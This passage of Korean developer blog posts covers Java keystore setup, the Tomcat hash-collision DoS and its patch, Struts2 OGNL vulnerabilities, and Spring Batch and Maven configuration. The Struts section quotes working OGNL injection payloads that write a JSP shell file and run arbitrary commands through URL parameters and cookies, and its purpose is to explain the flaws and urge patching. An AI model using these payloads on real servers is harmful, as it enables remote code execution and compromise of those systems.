at java.security.cert.CertPathBuilder.build(Unknown Source)

... 15 more

Server sent 1 certificate(s):

1 Subject CN=dev-ssl.google.com, O=My Company Ltd, L=Newbury, ST=Berkshire, C=

GB

Issuer CN=dev-ssl.google.com, O=My Company Ltd, L=Newbury, ST=Berkshire, C=

GB

sha1 e6 69 34 03 ec f2 b8 2e eb 57 ad 96 9f 25 a9 69 16 87 fc 90

md5 f0 a8 d1 63 65 8f 5c c6 a0 9b ea 4f 48 58 85 3d

Enter certificate to add to trusted keystore or 'q' to quit: [1]

1

[

[

Version: V3

Subject: CN=dev-ssl.google.com, O=My Company Ltd, L=Newbury, ST=Berkshire, C=

GB

Signature Algorithm: MD5withRSA, OID = 1.2.840.113549.1.1.4

Key: Sun RSA public key, 1024 bits

modulus: 164347762420350693911866588325014644788520374516295193084948890924394

29081792855076590616988805837259808518029679131404902167803255295786539153611119

63396590676780565399712003063159189376410163690837891366179294614852352512484317

28761333574986219672551265326558528460114938587517180908714459949305597793224899

public exponent: 65537

Validity: [From: Sat Mar 12 14:05:07 KST 2011,

To: Tue Mar 09 14:05:07 KST 2021]

Issuer: CN=dev-ssl.google.com, O=, L=, ST=, C=

SerialNumber: [ 01]

Certificate Extensions: 4

[1]: ObjectId: 2.16.840.1.113730.1.13 Criticality=false

Extension unknown: DER encoded OCTET string =

0000: 04 1F 16 1D 4F 70 65 6E 53 53 4C 20 47 65 6E 65 ....OpenSSL Gene

0010: 72 61 74 65 64 20 43 65 72 74 69 66 69 63 61 74 rated Certificat

0020: 65 e

[2]: ObjectId: 2.5.29.14 Criticality=false

SubjectKeyIdentifier [

KeyIdentifier [

0000: 9E 6F 1F 00 01 A4 3F 8E 8D 03 B8 6C 0B B5 57 27 .o....?....l..W'

0010: 3A 11 0C 70 :..p

]

]

[3]: ObjectId: 2.5.29.35 Criticality=false

AuthorityKeyIdentifier [

KeyIdentifier [

0000: F4 8D D1 BC BA 8F B4 17 3E 98 93 E9 04 59 5A 32 ........>....YZ2

0010: 41 3D DF 36 A=.6

]

[CN=dev-ssl.google.com, O=, L=, ST=, C=]

SerialNumber: [ 00]

]

[4]: ObjectId: 2.5.29.19 Criticality=false

BasicConstraints:[

CA:false

PathLen: undefined

]

]

Algorithm: [MD5withRSA]

Signature:

0000: 2A E4 E5 14 91 58 17 84 39 DE BA 8F 41 61 92 F3 *....X..9...Aa..

0010: FA 9C 01 70 D9 F9 44 DD B1 02 E4 D9 1D 7C 58 2A ...p..D.......X*

0020: 5A D9 39 E2 24 F7 DD 09 DC 3C 62 C7 09 3D 87 43 Z.9.$....<b..=.C

0030: 44 DC 68 FE 12 89 8E 54 62 94 3D B7 F5 2E 4E 30 D.h....Tb.=...N0

0040: 99 B8 CB 8A 6D 8D 3A 47 0A E3 5C 81 5F AE 4B CF ....m.:G..\._.K.

0050: 8E 3D 70 64 EA E2 72 C5 E7 21 27 74 19 80 91 95 .=pd..r..!'t....

0060: E8 D7 07 E1 9E 53 06 66 D0 4C 79 92 DC D7 4E 30 .....S.f.Ly...N0

0070: 8F 21 37 15 38 01 9F F1 E9 C1 E9 E5 99 03 FB F8 .!7.8...........

]

Added certificate to keystore 'jssecacerts' using alias 'dev-ssl.google.com-1'

실행 이후에 자바 인증서인 jssecacerts 파일이 생성된다.

이 파일을 $JAVA_HOME/jre/lib/security 에 복사하고 Http 연결 테스트 코드를 실행하면 기대하는 결과값이 출력되는 것을 확인할 수 있다. 이렇게 보안 개발 서버와 통신하는 서버들은 이렇게 사용하여 공인 인증서 없이 테스트 환경을 구축할 수 있다.

 

<Keytool 이용>

자바에서는 인증서 파일에 대한 정보를 keystore라고 불리며, cacerts, jssecacerts 두 개의 파일을 사용한다. 읽는 순서는 첫번째가 jssecacerts 파일이고, 그 다음은 cacerts파일이다. 관리가 잘 되어, overwrite되지 않도록 잘 관리되어야 한다.

추가적인 보안 개발 서버를 추가할 때마다 keytool 명령어를 이용해서 관리할 수 있다.

keytool에 대한 자세한 내용은 문서를 참조한다.

http://download.oracle.com/javase/6/docs/technotes/tools/solaris/keytool.html

http://download.oracle.com/javase/6/docs/technotes/tools/windows/keytool.html

리눅스를 이용하는 경우에 jssecacerts keystore 파일에 보안 개발 서버에 대한 인증서가 있는지 확인할 수 있다. 아래 싦행 명령어의 ‘실제 위치’는 ‘$JAVA_HOME/jre/lib/security’를 의미한다.

]# keytool -list –keystore 실제위치/jssecacerts -storepass changeit | grep dev-ssl

dev-ssl.google.com-1, 2011. 3. 14, trustedCertEntry,

더 이상 사용하지 않는다면 keystore 파일에서 보안 개발 서버를 삭제할 수 있다.

]# keytool -delete -alias dev-ssl.google.com-1 -keystore 실제위치/jssecacerts -storepass changeit

]# keytool -list -keystore 실제위치/jssecacerts -storepass changeit | grep dev

(결과 없음)

자바에서 http 서버로 보안 개발 서버로 접근하면, Exception이 발생되는 것을 확인할 수 있다.

윈도우를 사용하는 경우, cmd창을 실행하고, 창안에서 다음과 같이 확인 및 삭제가 가능하다.

]# keytool.exe -list -keystore 실제위치/jssecacerts -storepass changeit | findstr dev-ssl

dev-ssl.google.com-1, 2011. 3. 14, trustedCertEntry,

]# keytool -delete -alias dev-ssl.google.com-1 -keystore 실제위치/jssecacerts -storepass changeit

]# keytool.exe -list -keystore 실제위치/jssecacerts -storepass changeit | findstr dev-ssl

(결과 없음)

Posted by '김용환'
,

 

<시작하며..>

(2011-2012) 작년 연말/올해 연초 부터 hash dos 공격에 대한 보안 취약성에 대한 얘기가 있었다. 관련 내용을 정리해서 올려본다.

 

<시작>

12월 29일 한 통의 메일을 톰캣 리더 개발자인 Mark Thomas로부터 메일을 받았다. dos 공격을 당할 수 있는 내용에 대해서 oracle은 패치를 하지 않을 것이고, tomcat은 maxParameterCount의 값을 디폴트로 10000개로 지정하는 패치를 내어놓겠다고 했다.  톰캣 5 는 더이상 패치하겠다고 발표한 생태였지만, 패치를 하겠다고 얘기가 있었다.

 

[SECURITY] Apache Tomcat and the hashtable collision DoS vulnerability

11-12-29 (목) 07:28

추가정보 보기 보낸사람
: "Mark Thomas"<markt@apache.org> 주소록에 추가
받는사람
: "Tomcat Users List"<users@tomcat.apache.org>
참조    
: <announce@tomcat.apache.org>, <announce@apache.org>, "Tomcat Developers List"<dev@tomcat.apache.org>

You may have read about a recently announced vulnerability rooted in the
Java hashtable implementation [1]. Since Apache Tomcat uses a hashtable
for storing HTTP request parameters, it is affected by this issue.
As per [1], it appears that Oracle will not be providing a fix for this
vulnerability with in the JRE.
Tomcat has implemented a work-around for this issue by providing a new
option (maxParameterCount) to limit the number of parameters processed
for a single request. This default limit is 10000: high enough to be
unlikely to affect any application; low enough to mitigate the effects
of the DoS.
The work-around is available in:
trunk
7.0.23 onwards
6.0.35 onwards
The work-around will also be available in 5.5.35 once released.
If using an earlier version of Apache Tomcat that does not have the
maxParameterCount attribute available, limiting the maxPostSize to a few
10's of kB should also mitigate the issue although it may cause issues
for some applications.
While this is not viewed as a vulnerability in Apache Tomcat, the Apache
Tomcat security team is making this announcement due to the high
likelihood that applications will be affected by this issue and to make
users aware of the available work-arounds.
The Apache Tomcat security team
[1] http://www.nruns.com/_downloads/advisory28122011.pdf

자세한 정보는 메일의 아래 문서에서 확인할 수 있다. http://www.nruns.com/_downloads/advisory28122011.pdf

<간략하게 소개하는 취약점과 테스트 자료>

대부분의 언어에서는 Hash table을 많이 사용하고 있다. 특히 웹 서비스의 경우는 hash table로 데이터를 매핑해서 쓴다. 특히 post 방식일 때는 hash table을 파라미터 값으로 자동으로 매핑한다. get 방식일 때는 파라미터의 길이에 대해서 이미 브라우져단/서버단에서 기본적으로 제한을 가져서 문제가 없다. 그러나 post 방식일 때는 파라미터 개수 제한이 없다. (물론 서버 설정에서 이를 설정상으로 막을 수 있다.)

이를 악용하여 공격자가 조작된 값(colliding keys)을 파라미터로 전달하여 cpu 를 소진시킬 수 있다. hash contension이 일어나도록 동일한 string key값을 보내서 서버에 부담을 준다. (multi-collisions)
또는 randomized hash function이 없는 경우에도 활용될 수 있다.
hash table의 약점을 노린 것으로 hash table에 파라미터 입력시 O(n**2)으로 complexity가 높아지면서 cpu를 소진시켜 서버가 서비스를 못하게 한다. 하나의 요청만으로 웹 서버의 서비스를 못하게 할 수 있다.

hashtable에 존재하는 값과 입력된 값이 다를 경우 충돌이 일어나고, 그 충돌되는 값이 많아지면서 해당 값들을 계속 비교하는 경우를 multi-collision이라고 한다.

You tube에는 이런 취약점을 이용해서 간단하게 테스트한 자료가 있다.

<

 

<자바 패치 >

2003년부터 이 부분이 알려져 있다. Rice 대학의 Crosby, Wallach 가 발표한 논문에 비슷한 논문이 있다.
http://www.cs.rice.edu/~scrosby/hash/CrosbyWallach_UsenixSec2003.pdf

Perl와 CRuby는 고쳐졌지만 php 4/5, V8, 자바, asp.net, Python, Ruby에 보안 취약이 있었다.

자바의 경우는 String.hasCode()  메서드를 이용한 HashMap, HashTable 클래스를 사용하고 있다. DJBX33A 알고리즘을 사용하는데. 이슈가 있다. 2011년 11월 1일 레드햇 버그질라에 이 문제에 대한 이슈가 올라왔었지만, 오라클은 이 부분에 대해서 자바 hashmap 구현을 바꾸지 않겠다고 했다. 즉 자바 언어의 hash 구현의 이슈가 아니라고 답변하였고 웹 서버(tomcat, jbossweb, flassfish)에서 처리되는 것으로 되었다. (개인적인 의견으로는 참 애매한 이슈인 것 같다. 원래 그렇게 최악의 상황을 감안하고 구현되었을 수도 있고, 이거 고쳐서 backward compatibility를 잃어버리는 것보다는 나을 수 있다는 생각도 든다. 굳이 고쳐서 탈나는 것보다는 이게 나을 수도 ^^;;;)

https://bugzilla.redhat.com/show_bug.cgi?id=750533

그래서 12월 29일 close가 되었고, tomcat 리더 개발자인 mark tomas는 메일을 보낸 것이었다.

 

<톰캣 패치>

6.0.35, 7.0.23이 바로 패치되었고, 5.5.35는 늦게 패치가 되었다.

위에서 얘기한 Connector의 필드값으로 maxParameterCount 개수를 지정하면 문제를 해결하면 된다.

http://tomcat.apache.org/tomcat-6.0-doc/config/ajp.html

 

패치 할 수 없는 상황에서는 maxPostSize 를 이용할 수도 있다.

 

핵심 코드가 바뀌었는지 간단히 살펴본다.

http://www.mail-archive.com/dev@tomcat.apache.org/msg57020.html

Connector.java

maxParameterCount 파라미터를 읽는다.

tomcat/trunk/java/org/apache/catalina/connector/Connector.java

     /**
+     * The maximum number of parameters (GET plus POST) which will be
+     * automatically parsed by the container. 10000 by default. A value of less
+     * than 0 means no limit.
+     */
+    protected int maxParameterCount = 10000;


+    /**
+     * Return the maximum number of parameters (GET plus POST) that will be
+     * automatically parsed by the container. A value of less than 0 means no
+     * limit.
+     */
+    public int getMaxParameterCount() {
+        return maxParameterCount;
+    }
+
+
+    /**
+     * Set the maximum number of parameters (GET plus POST) that will be
+     * automatically parsed by the container. A value of less than 0 means no
+     * limit.
+     *
+     * @param maxParameterCount The new setting
+     */
+    public void setMaxParameterCount(int maxParameterCount) {
+        this.maxParameterCount = maxParameterCount;
+    }

 

tomcat/trunk/java/org/apache/tomcat/util/http/Parameters.java

기존에는 간단하게 Hashtable<String,String[]>의 값을 저장했지만, 새로 바뀐 버전에는 Hashtable<String,ArrayList<String>> 타입으로 바꾸었다.

-    private final Hashtable<String,String[]> paramHashStringArray =
-        new Hashtable<String,String[]>();

==>

+    private final Hashtable<String,ArrayList<String>> paramHashValues =
+        new Hashtable<String,ArrayList<String>>();

 

구버전까지는 key값에 대한 value값을 array list로 해서 계속 추가되는 형태이다. 반면 신버전에서는 Capacity의 크기를 체크한 후 값을 저장하는 코드로 바뀌었다. 이 값은

-        String values[];
-        if (paramHashStringArray.containsKey(key)) {
-            String oldValues[] = paramHashStringArray.get(key);
-            values = new String[oldValues.length + newValues.length];
-            for (int i = 0; i < oldValues.length; i++) {
-                values[i] = oldValues[i];
-            }
-            for (int i = 0; i < newValues.length; i++) {
-                values[i+ oldValues.length] = newValues[i];
-            }
-         } else {
-            values = newValues;
          }
-        paramHashStringArray.put(key, values);
     }

==>

+        ArrayList<String> values;
+        if (paramHashValues.containsKey(key)) {
+             values = paramHashValues.get(key);
         } else {
+            values = new ArrayList<String>(1);
+            paramHashValues.put(key, values);
+        }
+        values.ensureCapacity(values.size() + newValues.length);
+        for (String newValue : newValues) {
+            values.add(newValue);
         }


<아파치 해결>

LimitRequestBody 값으로 개수를 지정한다. 디폴트값은 1000000(백만)이라서 조절이 필요할 수 있다.
http://httpd.apache.org/docs/2.0/mod/core.html

<Directory "/home/www/web">
    LimitRequestBody 102400
</Directory>

 

* 참고 사항

이 메일의 배경은 12월 28일 독일에서 열린 Chaos Communication Congress의  Julian zeri Walde가 발표로 인해서 알려졌다. 자세한 내용은 아래와 같다. 원리에 대한 설명이 있다.

http://events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf

간단하게 이 자료를 소개하면서 자바의 소스를 분석해본다.

일반적으로 hash table은 O(n) 방식으로 내용을 검색하거나 추가할 수 있다.

 

그러나 하나의 키에 계속 값이 붙는 screwed 상황이 일어날 수 있다.  이 때는 O(n**2)가 되어서 속도가 저하되는 이슈가 있다.

 

 

만약 10bytes 짜리 20만개를 최악의 케이스로 넣는 다면, 40,000,000,000 번의 string 비교가 일어나고 40초가 걸릴 수 있다. (참고로 String intern, String compare는 비싼 자원이다..)

 

자바의 내부는 String hash값은 어떻게 되어 있을까?

public final class String
    implements java.io.Serializable, Comparable<String>, CharSequence
{

/** Cache the hash code for the string */
private int hash; // Default to 0

/**
     * Returns a hash code for this string. The hash code for a
     * <code>String</code> object is computed as
     * <blockquote><pre>
     * s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]
     * </pre></blockquote>
     * using <code>int</code> arithmetic, where <code>s[i]</code> is the
     * <i>i</i>th character of the string, <code>n</code> is the length of
     * the string, and <code>^</code> indicates exponentiation.
     * (The hash value of the empty string is zero.)
     *
     * @return  a hash code value for this object.
     */
    public int hashCode() {
    int h = hash;
        int len = count;
    if (h == 0 && len > 0) {
        int off = offset;
        char val[] = value;

            for (int i = 0; i < len; i++) {
                h = 31*h + val[off++];
            }
            hash = h;
        }
        return h;
    }

}

 

결국 hash code 공식은 다음 공식을 따른다.

hash code = s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]

위키에 좀더 멋진 공식 표현이 있다. (http://en.wikipedia.org/wiki/Java_hashCode())

h(s)=\sum_{i=0}^{n-1}s[i] \cdot 31^{n-1-i}

 

멋진 공식이라 하더라도. hash value는 int 라는 제한적인 값(min<int<max) 범위에 있기 때문에 중복될 수 있다. 또한 아래와 같이 동일한 hashcode를 생성할 수 있다. 이런 것을 악용한다면, 웹 서버들을 장애를 일으킬 수 있을 것이다.

public class a1 {
    public static void main(String[] args) {
        System.out.println(new String("FB").hashCode());
        System.out.println(new String("Ea").hashCode());
    }
}

#결과
2236
2236

 

생각해보면, hashcode는 unique한 값이 아닌 적당하게 써서 관리하기 위한 목표를 가지고 있다. 취약점을 어쩔 수 없으니. 적당하게 크기 제한하는 것이 좋은 사례인 것 같다..


PS
2012년 1월 17일 Mark Tomas는 정식으로 메일을 보냈다.
http://mail-archives.apache.org/mod_mbox/tomcat-announce/201201.mbox/%3C4F155CE2.3060301%40apache.org%3E

CVE-2012-0022 Apache Tomcat Denial of Service

Severity: Important

Vendor: The Apache Software Foundation

Versions Affected:
- Tomcat 7.0.0 to 7.0.22
- Tomcat 6.0.0 to 6.0.33
- Tomcat 5.5.0 to 5.5.34
- Earlier, unsupported versions may also be affected

Description:
Analysis of the recent hash collision vulnerability identified unrelated
inefficiencies with Apache Tomcat's handling of large numbers of
parameters and parameter values. These inefficiencies could allow an
attacker, via a specially crafted request, to cause large amounts of CPU
to be used which in turn could create a denial of service.
The issue was addressed by modifying the Tomcat parameter handling code
to efficiently process large numbers of parameters and parameter values.

Mitigation:
Users of affected versions should apply one of the following mitigations:
- Tomcat 7.0.x users should upgrade to 7.0.23 or later
- Tomcat 6.0.x users should upgrade to 6.0.35 or later
- Tomcat 5.5.x users should upgrade to 5.5.35 or later

Credit:
The inefficiencies in handling large numbers of parameters were
identified by the Apache Tomcat security team.

References:
http://tomcat.apache.org/security.html
http://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-6.html
http://tomcat.apache.org/security-5.html




 

Posted by '김용환'
,

 

http://venturebeat.com/2012/01/09/onlive-finally-launches-potentially-disruptive-real-time-streaming-for-desktop-productivity-apps/

동영상은 여기서 볼 수 있다.

http://content.bitsontherun.com/previews/bqDhufhg-MA7UWZgx

 

5년 전까지만 해도 CES에 관심조차 없었는데. 격세지감이다.. CES에 주목할정도로 영향력이 생겼다. 우와~


다운로드는 iTunes의 App Store에서 Onlive Desktop 어플을 다운받는다.


http://www.onlive.com/ 에서 가입한다.



가입한 아이디(이메일)로 Onlive desktop을 사용한다.

가상 데스크탑을 사용할 때, 인터넷이 안된다. 파일업로드는 아래 싸이트에서 진행한다. 


https://desktop.onlive.com/account/myfiles

파일을 업로드하면, Documents 디렉토리에 파일이 온라가는 것을 확인할 수 있다. MS Office 파일들은 무난히 실행할 수 있을 것 같다. 




Posted by '김용환'
,

 

OGNL 이슈 때문에 2010년에 업그레이드 한 적이 있었다.
http://knight76.tistory.com/entry/Webwork-보안-Webwork의-OGNL을-이용한-보안공격

이번에 또 보안 이슈가 있어서 얘기하고자 한다. 출처는 아래 웹이다.

https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt
http://struts.apache.org/2.x/docs/s2-008.html

결론부터 말하면, 2.2.1.1 을 패치해서 OGNL 보안 공격을 피해야 한다.

image

4가지 사례들이 올라왔다.

1) ExceptionDelegator 의 취약점

파라미터를 setting하면서 type 변환 exception을 발생시키면서 ognl 표현식이 실행되게 한다. 예를 들어 setting할 파리미터가 int나 long 타입일 때, type conversion이 안 되는 String값을 보내서 exception이 발생하게 하고 아래와 같은 문제성 많은 작업을 하게 할 수 있다.

/Test.action?id='%2b(new+java.io.BufferedWriter(
new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b'
/Test.action?id='%2b(
%23_memberAccess["allowStaticMethodAccess"]=true,
@java.lang.Runtime@getRuntime().exec('calc'))%2b'

 

2)  CookieInterceptor의 취약점

CookieInterceptor(쿠키 인터셉터)의 취약점을 이용한 것이다. 예를 들어 특정 명령어를 실행시킬 수 있다.

Cookie: (#_memberAccess["allowStaticMethodAccess"]\u003dtrue)(x)=1;
x[@java.lang.Runtime@getRuntime().exec('calc')]=1
 
3) ParametersInterceptor 취약점
초기화 안된 String의 특정 필드에 대한 프로퍼티가 있는 클래스가 있을 때, 파라미터 인터셉터로
특정 파일을 만들어낼 수 있다.
/Test.action?name=C:/sec-consult.txt&x[new+java.io.FileWriter(name)]=1
 
4) DebuggingInterceptor 취약점
webwork.properties파일(struts.properties파일)에서  webwork.devMode=true 로 되어 있을 때, 
DebuggingInterceptor 를 이용해서 공격이 가해 이상한 일을 꾸밀 수 있다.
/Test.action?debug=command&expression=%23_memberAccess
["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc')
Posted by '김용환'
,

 

잠깐 동안이지만, Batch 업무를 오랜만에 다시 한다.  ibatis와 내부 클래스, Spring Batch를 이용해서 Spring Batch가 돌아갈 수 있게 하는 xml 설정에 대한 간단한 설명이다.

 


* Spring Batch 의 xml 설정하기 (기본 틀)

1. iBatis의 sqlMapConfig 설정 파일을 읽어 SqlMapClient 객체를 불러온다.

     <bean id="coreSqlMapClient" class="org.springframework.orm.ibatis.SqlMapClientFactoryBean">
         <property name="configLocation" value="/sql-map-config.xml" />
     </bean>

 


2. FactoryBean을 이용해서 SqlMapClient 을 가지고 DataSource를 얻어온다.

    <bean id="dataSourceSupport" class="com.google.batch.core.dbpm.BatchCoreDataSourceSupport" >
        <property name="sqlMapClient" ref="coreSqlMapClient"></property>
    </bean>


    <bean id="coreDataSource" factory-bean="dataSourceSupport" factory-method="getDataSource" />

 


3. data source를 이용해서 transactionManager를 만든다.

    <bean id="coreTransactionManager"
        class="org.springframework.jdbc.datasource.DataSourceTransactionManager"
        lazy-init="true">
        <property name="dataSource" ref="coreDataSource" />
    </bean>

 

4. SimpleStep을 정의한다.

    <bean id="simpleStep" class="org.springframework.batch.core.step.item.SimpleStepFactoryBean" abstract="true">
        <property name="transactionManager" ref="coreTransactionManager"></property>
        <property name="commitInterval" value="1"/>
    </bean>

 

5. SimpleJob을 정의한다.


    <bean id="simpleJob" class="org.springframework.batch.core.job.SimpleJob"
        abstract="true">
    </bean>

 

6. 실제 동작할 코드를 제공한다. SimpleJob을 상속한 Job과 SimpleStep을 상속한 step1을 정의한다.
    <job id="iambatch" parent="simpleJob" xmlns="http://www.springframework.org/schema/batch">
        <step id="step1" parent="simpleStep">
            <tasklet ref="myTasklet"/>
        </step>
    </job>

 

7. JobLauncher를 정의한다.

    <bean id="jobLauncher"
        class="org.springframework.batch.core.launch.support.SimpleJobLauncher">
       
    </bean>

 

 

 

* job repository 추가하기


1. job repository 정의
     <batch:job-repository id="jobRepository" data-source="coreDataSource"
           transaction-manager="coreTransactionManager" isolation-level-for-create="SERIALIZABLE"   table-prefix="BATCH_iambatch_" />

2. job launcher, job, step에 추가한다.
   
    <bean id="simpleJob" class="org.springframework.batch.core.job.SimpleJob"
        abstract="true">
        <property name="jobRepository" ref="jobRepository" />
    </bean>


    <bean id="simpleStep" class="org.springframework.batch.core.step.item.SimpleStepFactoryBean" abstract="true">
        <property name="jobRepository" ref="jobRepository" />
        <property name="transactionManager" ref="coreTransactionManager"></property>
        <property name="commitInterval" value="1"/>
    </bean>


    <bean id="jobLauncher"
        class="org.springframework.batch.core.launch.support.SimpleJobLauncher">
        <property name="jobRepository" ref="jobRepository" />
    </bean>

Posted by '김용환'
,

 

 

m2 eclipse plugin이 1.0 버전 업하면서 생긴 단순한 설정은 아래와 같이 처리한다.
http://knight76.tistory.com/entry/이클립스-STS-maven-builder-변경


컴파일을 잘 되는데, pom.xml 파일에 maven parent를 사용하는 부분에서 에러가 있다고 나온다. build life cycle에서 무엇인가 이슈가 있다.

 

원인을 찾아보니, 이클립스 싸이트의 m2e 플러그인에 대한 내용이 있다. 간단히 요약해보면 다음과 같다. 빌드시 명시적으로 문제의 소지가 있는 플러그인에 대해서 에러로 처리할테니, 무시하든지 추가하든지 하는 설정을 넣으라는 얘기이다. (m2eclipse 플러그인 개발자도 maven 때문에 고생한다…. )

http://wiki.eclipse.org/M2E_plugin_execution_not_covered

https://issues.sonatype.org/browse/MNGECLIPSE-823에 내용에 있는 것처럼 리소스들과 컴파일이 안되는 문제가 발생되기도 했다. 0.12 버전 이하에서는 이클립스 빌드시 maven을 사용해서 컴파일을 했었다. 사실 이클립스 플러그인 개발입장에서는 그저 maven에 위임하는데, 어떤 “ Plug excution”이 동작하여 예상치 못하게 파일(리소스)가 날아가(missing) 버리거나 JVM, OS 리소스 부족으로 문제를 일으키는 경우가 있었다.

이 문제를 해결해가 위해서 1.0 부터는 빌드 lifecycle에 명확한 방법(explicit instructions)을 제공하였다. 이것을 “project build lifecycle mapping” (lifecycle mapping)이라고  한다. pom.xml 설정에 maven 빌드와 별도로플러그 실행(execution)에 대한 정보를 넣을 수 있게 하였다.

예를 들어 project build lifecycle mapping 정보가 없는 경우에 대해서는 다음과 같이 m2 이클립스 플러그인에서 에러로 처리한다고 한다.

Plugin execution not covered by lifecycle configuration:
org.apache.maven.plugins:maven-antrun-plugin:1.3:run
    (execution: generate-sources-input, phase: generate-sources)
이 문제를 해결하기 위해서 ignore 또는 execute goal을 넣어야 한다. 

 

아래 에러 로그에 있는 내용이 바로 위에 작성한 위키의 내용과 일치한다.

Multiple annotations found at this line:
    - Plugin execution not covered by lifecycle configuration: org.codehaus.mojo:xml-maven-plugin:1.0:transform
     (execution: default, phase: process-resources)
    - Plugin execution not covered by lifecycle configuration: org.apache.maven.plugins:maven-antrun-plugin:1.3:run
     (execution: process-resources, phase: process-resources)
    - maven-dependency-plugin (goals "copy-dependencies", "unpack") is not supported by m2e.
    - Plugin execution not covered by lifecycle configuration: org.apache.maven.plugins:maven-antrun-plugin:1.3:run
     (execution: copy-base-resource, phase: generate-sources)

 

이 방식을 이용해서 아래와 같이 pom.xml 파일에 정리하였더니 더 이상 이클립에서 에러라고 처리되지 않는다.

<build>
        <pluginManagement>
            <plugins>
                <!--This plugin's configuration is used to store Eclipse m2e settings
                    only. It has no influence on the Maven build itself. -->
                <plugin>
                    <groupId>org.eclipse.m2e</groupId>
                    <artifactId>lifecycle-mapping</artifactId>
                    <version>1.0.0</version>
                    <configuration>
                        <lifecycleMappingMetadata>
                            <pluginExecutions>
                                <pluginExecution>
                                    <pluginExecutionFilter>
                                        <groupId>
                                            org.apache.maven.plugins
                                        </groupId>
                                        <artifactId>
                                            maven-antrun-plugin
                                        </artifactId>
                                        <versionRange>
                                            [1.3,)
                                        </versionRange>
                                        <goals>
                                            <goal>run</goal>
                                        </goals>
                                    </pluginExecutionFilter>
                                    <action>
                                        <ignore></ignore>
                                    </action>
                                </pluginExecution>
                                <pluginExecution>
                                    <pluginExecutionFilter>
                                        <groupId>
                                            org.codehaus.mojo
                                        </groupId>
                                        <artifactId>
                                            xml-maven-plugin
                                        </artifactId>
                                        <versionRange>
                                            [1.0,)
                                        </versionRange>
                                        <goals>
                                            <goal>transform</goal>
                                        </goals>
                                    </pluginExecutionFilter>
                                    <action>
                                        <ignore></ignore>
                                    </action>
                                </pluginExecution>
                                <pluginExecution>
                                    <pluginExecutionFilter>
                                        <groupId>org.apache.maven.plugins</groupId>
                                        <artifactId>maven-dependency-plugin</artifactId>
                                        <versionRange>[1.0.0,)</versionRange>
                                        <goals>
                                            <goal>copy-dependencies</goal>
                                        </goals>
                                    </pluginExecutionFilter>
                                    <action>
                                        <ignore />
                                    </action>
                                </pluginExecution>
                            </pluginExecutions>
                        </lifecycleMappingMetadata>
                    </configuration>
                </plugin>
            </plugins>
        </pluginManagement>
    </build>

Posted by '김용환'
,

 

최신 이클립스/ STS 에 포함되었던 maven plugin m2 eclipse가 버전업을 하면서 패키지가 변경되었다. (0.1 –> 1.0) maven 빌드는 되는데, 이클립스 에서의 소스상으로는 에러가 나오는 것처럼 볼 수 있다.

 

해결을 하려면, 다음과 같이 수정하면 컴파일이 된다.


<?xml version="1.0" encoding="UTF-8"?>
<projectDescription>
    <name>xxx-parent</name>
    <comment></comment>
    <projects>
    </projects>
    <buildSpec>
        <buildCommand>
            <name>org.eclipse.jdt.core.javabuilder</name>
            <arguments>
            </arguments>
        </buildCommand>
        <buildCommand>
           <name>org.maven.ide.eclipse.maven2Builder</name>
            <name>org.eclipse.m2e.core.maven2Builder</name>
            <arguments>
            </arguments>
        </buildCommand>
    </buildSpec>
    <natures>
        <nature>org.maven.ide.eclipse.maven2Nature</nature>
        <nature>org.eclipse.jdt.core.javanature</nature>
       <nature>org.eclipse.m2e.core.maven2Nature</nature>
        
    </natures>
</projectDescription>

 

 

* 참고 사항

구버전 (2.5.2.RELEASE)

 

신버전 (2.8.1.RELEASE)






그 외 .classpath  파일에 수정사항이 있다.

<?xml version="1.0" encoding="UTF-8"?>
<classpath>
<classpathentry kind="con" path="org.maven.ide.eclipse.MAVEN2_CLASSPATH_CONTAINER"/>
<classpathentry kind="con" path="org.eclipse.m2e.MAVEN2_CLASSPATH_CONTAINER"/>
</classpath>

이렇게 두개를 바꿔야 한다.

Posted by '김용환'
,

 

최신 이클립스, STS에서의 maven은 3.X 대이다.  따라서 maven2에서 동작하던 일부 코드가 컴파일이 안 되는 경우가 있다. 설정을 일부 바꾸어 컴파일하면 괜찮아진다.


maven의 ant plugin 때문에 아래와 같이 exception이 발생했다.

[ERROR] Failed to execute goal org.apache.maven.plugins:maven-antrun-plugin:1.3:run (copy-base-resource) on project batch_board: An API incompatibility was encountered during configuration of mojo org.apache.maven.plugins:maven-antrun-plugin:1.3:run: java.lang.NoSuchMethodError: org.apache.tools.ant.util.FileUtils.close(Ljava/io/InputStream;)V

 

최신 STS 2.8.1의 경우는 maven install 환경을 보면 3.0.2를 사용중이다.

image

 

미리 설치한 maven 2.2.1로 바꾸어둔다.

image

 

package explorerr 에서 pom.xml 파일에 대한 Run Configruation을 고쳐 2.2가 동작하게 하니 컴파일이 잘 되었다.

image

 

maven3가 maven2와의 backward compatibilty를 완벽히 지원하지 않는다.  없어서 일부 플러그인에서는 약간 문제가 있어서 테스트가 잘할 필요가 있다.

Posted by '김용환'
,

 

cm9 펌웨어를 만든 xda 쪽을 IOS 해킹하는 단체처럼 생각했는데, 좀 잘 못 생각한 것 같다.  오히려 안드로이드에 좋은 영향을 미치고  안드로이드 오픈 플랫폼(또는 생태계??) 을 더 좋게 해주는 것 같다.

 

http://ko.wikipedia.org/wiki/CyanogenMod

CyanogenMod(시아노젠모드)는 안드로이드를 구동하는 일부 스마트폰에 설치 및 구동할 수 있는 비공식 안드로이드 펌웨어이다. 현재 60개 이상의 안드로이드 스마트폰에서 펌웨어 업데이트가 가능하며, FLAC, 멀티터치, microSD 카드에서의 프로그램 설치 및 실행, 캐시 압축(compcache), 거대 APN 리스트, 재부팅 메뉴, 와이파이, 블루투스, USB 테더링 등 대다수 공식 안드로이드 펌웨어에서 지원하지 않는 기능들을 다수 탑재하고 있다. 모바일 운영 체제 중에서는 최초로 BFS를 작업 스케줄러로 사용하는 운영 체제이기도 하며(이는 현재 안드로이드 공식 소스 트리에도 시범 반영되었다.[1]) 경우에 따라서는 공식 안드로이드 펌웨어보다 높은 성능을 발휘하기도 한다. 2011년 4분기 현재 정식 배포 중인 CyanogenMod는 CM6과 CM7이고, 베타 테스트 중인 CyanogenMod는 CM8과 CM9이다.

